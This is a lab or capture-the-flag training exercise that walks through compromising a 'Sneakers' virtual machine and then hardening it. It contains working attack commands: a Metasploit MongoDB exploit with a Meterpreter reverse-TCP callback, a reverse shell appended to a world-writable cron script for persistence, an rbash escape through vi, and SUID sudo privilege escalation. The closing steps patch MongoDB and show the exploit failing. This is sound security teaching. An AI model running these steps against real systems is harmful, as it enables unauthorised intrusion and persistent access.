Exercise: Hacking Sneakers for Network Attack, PrivEsc and MongoDB Defense

Steps

1. On your Kali system, start up a fresh lxterminal by clicking the "sparrow" logo in the bottom-left corner of the screen, clicking run, typing `lxterminal` and hitting enter.
2. Switch to the `/home/lockthisdown` directory, if that's not the current one already:

   ```
   cd /home/lockthisdown
   ```

3. Run an `nmap` scan across the entirety of the Sneaker virtual machine's TCP ports:

   ```
   nmap -sT -sV -p- sneakers
   ```

4. It looks like we'll only be interacting with an SSH server, an Apache web server and MongoDB. Start by opening a browser and surfing to: http://sneakers/
5. Now go back to the terminal window and fire up the Metasploit text console:

   ```
   msfconsole
   ```

6. Let's search Metasploit for mongodb-related scanners and exploits:

   ```
   search mongodb
   ```

7. Let's read about that exploit and enjoy/discover Metasploit's tab completion:

   ```
   info exploit/linux/misc/mong
   [hit tab]
   [hit enter]
   ```

8. Now let's use that exploit. There's command history in `msfconsole`, so we can modify that last line:

   ```
   [Hit the up arrow once]
   ```

9. Now edit the word "info" to say "use," like so:

   ```
   use exploit/linux/misc/mongod_native_helper
   ```

10. Let's target the exploit at Sneakers by setting the remote host (RHOSTS) variable to 10.23.58.71:

    ```
    set RHOSTS 10.23.58.71
    ```

11. Let's pair the part of the exploit that gets code execution with a payload. We can use a shell, but let's use a Meterpreter that connects back to our machine. We use a 32-bit payload, as this is the only one that was guaranteed to work for this exploit:

    ```
    set PAYLOAD linux/x86/meterpreter/reverse_tcp
    ```

12. Now, let's see what other settings we have available to set by using the "show options" command, likely the most frequently-used thing you'll ever type in Metasploit:

    ```
    show options
    ```

13. Let's see how we can change the incoming port on our Kali system for the Meterpreter to connect back to:

    ```
    set LPORT 999
    ```

14. Relative to the virtual machines, your Kali computer has IP address 10.23.58.30. Set the `LHOST` variable to `10.23.58.30`, so the Meterpreter knows what IP address to connect back to:

    ```
    set LHOST 10.23.58.30
    ```

15. Now, fire off the exploit:

    ```
    exploit
    ```

16. This exploit isn't always succesful on the first attempt. If your luck is good, you'll see a response like the following, saying "Meterpreter session ... opened..." – if so, go on to the next step. If you don't get a session, or otherwise don't have good luck, follow the Troubleshooting Steps.

    ```
    msf6 exploit(linux/misc/mongod_native_helper) > exploit

    [*] Started reverse TCP handler on 10.23.58.30:999
    [+] 10.23.58.71:27017 - Mongo server 10.23.58.71 doesn't use authentication
    [+] 10.23.58.71:27017 - New document created in collection jpzn
    [*] 10.23.58.71:27017 - Let's exploit, heap spray could take some time...
    [*] Sending stage (984904 bytes) to 10.23.58.71
    [*] Meterpreter session 1 opened (10.23.58.30:999 -> 10.23.58.71:39105) at 2021-07-26 2
    ```

17. We're in a Meterpreter session. Check to see what user we're running as, using this Meterpreter command:

```
getuid
```

18. Now start a shell:

    ```
    shell
    ```

19. See what directory your shell is in:

    ```
    pwd
    ```

20. Check your user again with the local system command:

    ```
    id
    ```

21. Make the environment a little more friendly by starting a `bash` shell:

    ```
    bash -i
    ```

22. Change to this user's home directory:

    ```
    cd
    ```

23. Check for a file with a name like "FLAG" - in Capture the Flag virtual machines, flags are your rewards for progress:

    ```
    ls
    ```

24. Examine the first flag:

    ```
    cat FLAG.txt
    ```

25. If you like, put the URL shown in the flag into your browser to see the graphic. As an interesting note, you use `Ctrl-Shift-C` to copy text from the terminal, but `Ctrl-V` to copy text into the browser.

26. Let's look at the user crontab files:

    ```
    ls /var/spool/cron/crontabs/
    ```

27. Check out the contents of Werner Brandes' crontab file:

    ```
    cat /var/spool/cron/crontabs/wernerbrandes
    ```

28. Let's look at the contents of the script it mentions:

    ```
    cat /home/wernerbrandes/authenticate-to-door.sh
    ```

29. Let's look at the file permissions on that script:

    ```
    ls -l /home/wernerbrandes/authenticate-to-door.sh
    ```

30. This script file is world-writable! Let's add a reverse shell to it. We have one in `/home/lockthisdown/Exercise-Sneakers`.

31. Let's background this shell, returning to the Meterpreter session.

    ```
    Hit Ctrl-Z
    Hit y
    Hit the Enter key
    ```

32. Switch Metasploit's directories on your local system with the `lcd` command, short for local-cd.

    `lcd Exercise-Sneakers`

33. We'll need to put this file in a place where we have privileges. On the compromised host, change directory to `/tmp`:

    `cd /tmp`

34. Upload the `reverse-shell.py` file - we'll use the `TAB` key to demonstrate command and file completion:

    `up[TAB] reverse[TAB][ENTER]`

35. Now, let's get back into our original shell. Note, we could instead type `shell` again to add another shell channel in this Meterpreter. First, list the channels:

    `channel -l`

36. Now, tell the Meterpreter to let us interact with the channel 1:

    `channel -i 1`

37. We need a newline, so we can see a shell prompt:

    `Hit Enter`

38. Now, take a look at the `python` program we uploaded:

    `cat /tmp/reverse-shell.py`

39. Note that it connects back to our Kali system on `10.23.58.30`, via TCP port `8080`. Let's start a netcat listener there. **Start a new tab** in your lxterminal with `Ctrl-Shift-T`:

    `Hit Ctrl-Shift-T`

40. Let's start a netcat listener **in this new tab**, listening on TCP port `8080`:

    `nc -l -p 8080`

41. Now let's modify Werner's `authenticate-to-door.sh` script to run a reverse shell that connects to this. **Go back to the tab where you have Metasploit running** and enter this:

    `echo "python /tmp/reverse-shell.py" >>/home/wernerbrandes/authenticate-to-door.sh`

42. **Go back to the window with the netcat listener.** Wait - within 60 seconds, we should have a new connection to that netcat listener, giving us access as Werner Brandes.

43. **Note**: One great thing about this reverse shell is that the system will be starting a new one every 60 seconds. If we lose our connection, we just need to start up a new netcat listener to catch the next minute's shell.

This is an example of "Persistence." If we're defending a system, we want to detect and/or break persistence methods.

44. Let's look at the contents of Werner's home directory:

    ```
    ls
    ```

45. Take a look at the flag in this directory and take a look at the image it refers to:

    ```
    cat FLAG.txt
    ```

46. This gives us a password hint for the `cosmo` account. **Open a new terminal tab**:

    ```
    Hit Ctrl-Shift-t
    ```

47. Try to ssh in as user `cosmo`, where you'll use the password `nomoresecretsvoicepassport`:

    ```
    ssh cosmo@sneakers
    ```

48. You will likely get an error that says "no matching host key type found." It looks like this machine is using an older version of OpenSSH. You'll need to add a command line-option to account for this. Try again to ssh in as user `cosmo`, entering the password `nomoresecretsvoicepassport`:

    ```
    ssh -o "HostKeyAlgorithms +ssh-rsa" cosmo@sneakers
    nomoresecretsvoicepassport
    ```

49. Now, try to read the `FLAG.txt` file:

    ```
    cat FLAG.txt
    ```

50. It's root-owned, so we'll need to `sudo` for this:

    ```
    sudo cat FLAG.txt
    ```

51. Unfortunately, we get an error about being in `rbash`, the "restricted" bash shell. Start up `vi`:

    ```
    vi
    ```

52. Now, let's start a shell from within `vi`. You have to get the key sequence right. If you get stuck, ask for help please:

    ```
    Hit the : key.
    Hit the ! key.
    Type sh.
    Hit Enter.
    ```

53. You now have a new shell! If this didn't work and you're still stuck in `vi`, try this – hit the escape key, type `:q!` then hit `Enter`, and retry the last step:

```
:q!
Press the Enter key
```

54. Now we're out of our restricted shell. Run a `find` command to find Set-UID programs:

    ```
    find / -perm -04000 -xdev -print
    ```

55. Note that `sudo` is in this list, in a new location `/opt/sudo`. Let's try using it to read the flag:

    ```
    /opt/sudo cat FLAG.txt
    ```

56. We've won! Now, over the next few steps, let's use our new root privilege to stop anyone else from following this same attack path. We start by using `sudo su -` to switch to a root shell.

    ```
    /opt/sudo su -
    ```

57. We'll start by fixing sudo's path, so that our cosmo user can skip the restricted shell breakout:

    ```
    mv /opt/sudo /usr/bin/sudo
    ```

58. Now, let's change the command line that starts `mongodb` to deactivate JavaScript interpretation. This CTF system is on Ubuntu 10.04, which used upstart as an init system instead of systemd:

    ```
    nano /etc/init/mongodb.conf
    ```

59. Add the following text to the end of the line that begins with `exec`, inserting it before the closing quotation mark (`"`):

    ```
    --noscripting
    ```

60. Change the path on that line from `/opt/sudo` to `/usr/bin/sudo`:

    ```
    /usr/bin/sudo
    ```

61. Confirm that the exec line reads as follows:

    ```
    exec /usr/bin/sudo -u setecastronomy sh -c "/home/setecastronomy/mongod --journal --dbp
    ```

62. Save the file by hitting:

    ```
    Ctrl-X
    y
    enter
    ```

63. Restart `mongodb` by running:

    ```
    service mongodb stop
    service mongodb start
    ```

64. Now, retry the exploit from earlier. **Start a new tab** in your lxterminal with `Ctrl-Shift-T`:

`Hit Ctrl-Shift-T`

65. Now start a new Metasploit program:

    `msfconsole`

66. Set up the `mongod_native_helper` exploit again:

    `use exploit/linux/misc/mongod_native_helper`

67. Target the exploit at Sneakers by setting the remote host (RHOST) variable to `10.23.58.71`:

    `set RHOSTS 10.23.58.71`

68. Pair the part of the exploit that gets code execution with a Meterpreter that we control via a reverse_tcp connection:

    `set PAYLOAD linux/x86/meterpreter/reverse_tcp`

69. Set a different `LPORT` than we did before, in case the previous Meterpreter is still running:

    `set LPORT 998`

70. Set the `LHOST` variable to our machine:

    `set LHOST 10.23.58.30`

71. Review your setup by using the `show options` command:

    `show options`

72. Now, fire off the exploit:

    `exploit`

73. Confirm the exploit failed. You may get an error that says Metasploit wasn't able to connect to the MongoDB server, but this is just an inacccurate error message.

74. Now, let's also set `mongodb` to bind only to `localhost`, as it would in any situation where the application using it is running on the same system. **Return to the window where you're SSH-ed into the Sneakers system**.

75. Reopen the mongodb configuration file:

    `nano /etc/init/mongodb.conf`

76. Add the following text to the end of the line that begins with "exec", inserting it before the closing quotation mark (`"`):

    `--bind_ip 127.0.0.1`

77. Confirm that the exec line reads as follows:

    `exec /usr/bin/sudo -u setecastronomy sh -c "/home/setecastronomy/mongod --journal --dbp`

78. Save the file by hitting:

    ```
    Ctrl-X
    y
    Enter
    ```

79. Restart `mongodb` by running:

    ```
    service mongodb stop
    service mongodb start
    ```

80. Now, confirm that MongoDB isn't available on the non-localhost interfaces by portscanning the Sneakers system. **Switch to a fresh terminal window** and run:

    ```
    nmap -sT -sV -p27017 sneakers
    ```

    If the port is still accessible, see the MongoDB Service Not Getting New Configuration Troubleshooting section below:

81. Change your Slack status to `:thumbsup:`.

82. Suspend the virtual machines:

    ```
    sudo /scripts/suspend-all-vms.sh
    ```

Troubleshooting Steps

Exploit creates no session

If you see something like the below, just type `exploit` and hit `Enter` to try again.

```
msf6 exploit(linux/misc/mongod_native_helper) > exploit

[*] Started reverse TCP handler on 10.23.58.30:999
[+] 10.23.58.71:27017 - Mongo server 10.23.58.71 doesn't use authentication
[+] 10.23.58.71:27017 - New document created in collection hyhc
[*] 10.23.58.71:27017 - Let's exploit, heap spray could take some time...
[*] Exploit completed, but no session was created.
```

Exploit creates session, but aborts or doesn't attach

If the exploit creates a session, but doesn't attach to it, you'll see something like the following:

```
msf6 exploit(linux/misc/mongod_native_helper) > exploit
[*] Started reverse TCP handler on 10.23.58.30:999
[*] Sending stage (984904 bytes) to 10.23.58.71
[*] Meterpreter session 1 opened (10.23.58.30:999 -> 10.23.58.71:55317 11:05:05 -0700

getuid
```

```
[-] 10.23.58.71:27017 - Exploit aborted due to failure: unreachable: Unable to connect
[*] Exploit completed, but no session was created.
```

In this case, list the sessions to find the number of the available session, using the `-l` argument.

```
sessions -l
```

Then, attach to the session number listed. If the session is 1, for example, type this:

```
sessions -i 1
```

You may need to try a few times. If you're still stuck, please raise your hand and a proctor will help.

MongoDB Service Not Getting New Configuration

If the Mongodb service isn't getting the correct configuration when you start and stop it, check to ensure that the service is actually stopping and starting.

If when you go to stop the service you get this message:

```
root@sneakers:~# service mongodb stop
stop: Unknown instance:
```

Then it's possible an old mongod process is still running that you'll need to manually find and kill:

```
root@sneakers:~# ps -ef | grep [m]ongo
1003       904     1  0 22:44 ?        00:00:08 /home/setecastronomy/mongod --journal --dbpa
```

In the above example, the second column is the process ID or "PID", use `kill` to terminate that process:

```
kill -9 904
```

And then skip ahead to the "starting the service" phase:

```
root@sneakers:~# service mongodb start
mongodb start/running, process 1509
```